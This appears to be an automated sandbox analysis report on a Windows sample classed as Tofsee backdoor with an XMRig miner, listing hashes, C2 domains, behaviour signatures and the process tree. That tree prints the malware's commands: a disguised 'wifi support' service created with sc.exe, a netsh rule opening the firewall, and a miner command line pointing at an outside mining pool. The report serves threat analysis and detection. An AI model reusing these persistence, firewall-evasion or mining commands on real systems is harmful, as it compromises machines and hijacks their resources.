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Overview

overview

10

Static

static

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 10:48

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General

  • Target

    0e08a8c26a77da196821460666ddddd117ea759ccc532b1ca754f865dfb79481.exe

  • Size

    310KB

  • MD5

    21e9f5759b59294dde63937c71428508

  • SHA1

    7c2e270b0adb5c51d7854e7e3dfcfa3b11b0b700

  • SHA256

    0e08a8c26a77da196821460666ddddd117ea759ccc532b1ca754f865dfb79481

  • SHA512

    4eda1b69bdac6e368d3b908e22a84ce585905c82956a0a68d5f4f5cc0edc65025ec4bed369f8490aab100f82e3aceb1f72acb306fe13cd32cece8f5bfc21e8eb

  • SSDEEP

    3072:I+5gRTLkYdO2eeByDf0agH8IhIFA1hkN0flvLAphFWqWvcb+H4rOPHFRuUrIb6uh:5gRTLkPFBYhMOkNADi+H4rWlRjO1n

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e08a8c26a77da196821460666ddddd117ea759ccc532b1ca754f865dfb79481.exe
    "C:\Users\Admin\AppData\Local\Temp\0e08a8c26a77da196821460666ddddd117ea759ccc532b1ca754f865dfb79481.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rqallwkm\
      2⤵
        PID:1664
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\uashmfw.exe" C:\Windows\SysWOW64\rqallwkm\
        2⤵
          PID:1480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rqallwkm binPath= "C:\Windows\SysWOW64\rqallwkm\uashmfw.exe /d\"C:\Users\Admin\AppData\Local\Temp\0e08a8c26a77da196821460666ddddd117ea759ccc532b1ca754f865dfb79481.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2900
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rqallwkm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rqallwkm
          2⤵
          • Launches sc.exe
          PID:696
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1088
      • C:\Windows\SysWOW64\rqallwkm\uashmfw.exe
        C:\Windows\SysWOW64\rqallwkm\uashmfw.exe /d"C:\Users\Admin\AppData\Local\Temp\0e08a8c26a77da196821460666ddddd117ea759ccc532b1ca754f865dfb79481.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3480
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3672
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1308

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\uashmfw.exe
        Filesize

        14.6MB

        MD5

        72d9301f6b9566d90375726f3966af79

        SHA1

        006486326bc52ec98db84960693420e985e92c29

        SHA256

        302d63a0dad17c3f825a0d22b367b43d6d2e16121d4589123264b0e3c910c507

        SHA512

        b7ab387e276f9e36cd44149a9ada801ca7a1968915ce91267a8784c6212331880da601c1e3bef4ed782e85edb1b97325a6781df726fceb67d49d52d4b2139146

        Download Submit

      • C:\Windows\SysWOW64\rqallwkm\uashmfw.exe
        Filesize

        14.6MB

        MD5

        72d9301f6b9566d90375726f3966af79

        SHA1

        006486326bc52ec98db84960693420e985e92c29

        SHA256

        302d63a0dad17c3f825a0d22b367b43d6d2e16121d4589123264b0e3c910c507

        SHA512

        b7ab387e276f9e36cd44149a9ada801ca7a1968915ce91267a8784c6212331880da601c1e3bef4ed782e85edb1b97325a6781df726fceb67d49d52d4b2139146

        Download Submit

      • memory/1308-173-0x0000000000600000-0x00000000006F1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1308-178-0x0000000000600000-0x00000000006F1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/3480-149-0x0000000000594000-0x00000000005A9000-memory.dmp

        Filesize

        84KB

        Download

      • memory/3480-179-0x0000000000400000-0x0000000000453000-memory.dmp

        Filesize

        332KB

        Download

      • memory/3480-153-0x0000000000400000-0x0000000000453000-memory.dmp

        Filesize

        332KB

        Download

      • memory/3480-152-0x0000000000594000-0x00000000005A9000-memory.dmp

        Filesize

        84KB

        Download

      • memory/3480-150-0x0000000000400000-0x0000000000453000-memory.dmp

        Filesize

        332KB

        Download

      • memory/3672-157-0x0000000001D30000-0x0000000001D36000-memory.dmp

        Filesize

        24KB

        Download

      • memory/3672-169-0x0000000002BD0000-0x0000000002BD7000-memory.dmp

        Filesize

        28KB

        Download

      • memory/3672-151-0x00000000007C0000-0x00000000007D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/3672-146-0x00000000007C0000-0x00000000007D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/3672-154-0x0000000002600000-0x000000000280F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/3672-166-0x0000000007580000-0x000000000798B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/3672-160-0x0000000001D40000-0x0000000001D50000-memory.dmp

        Filesize

        64KB

        Download

      • memory/3672-163-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/4656-143-0x0000000000638000-0x000000000064D000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4656-144-0x0000000000400000-0x0000000000453000-memory.dmp

        Filesize

        332KB

        Download

      • memory/4656-135-0x0000000000400000-0x0000000000453000-memory.dmp

        Filesize

        332KB

        Download

      • memory/4656-134-0x00000000005B0000-0x00000000005C3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/4656-133-0x0000000000638000-0x000000000064D000-memory.dmp

        Filesize

        84KB

        Download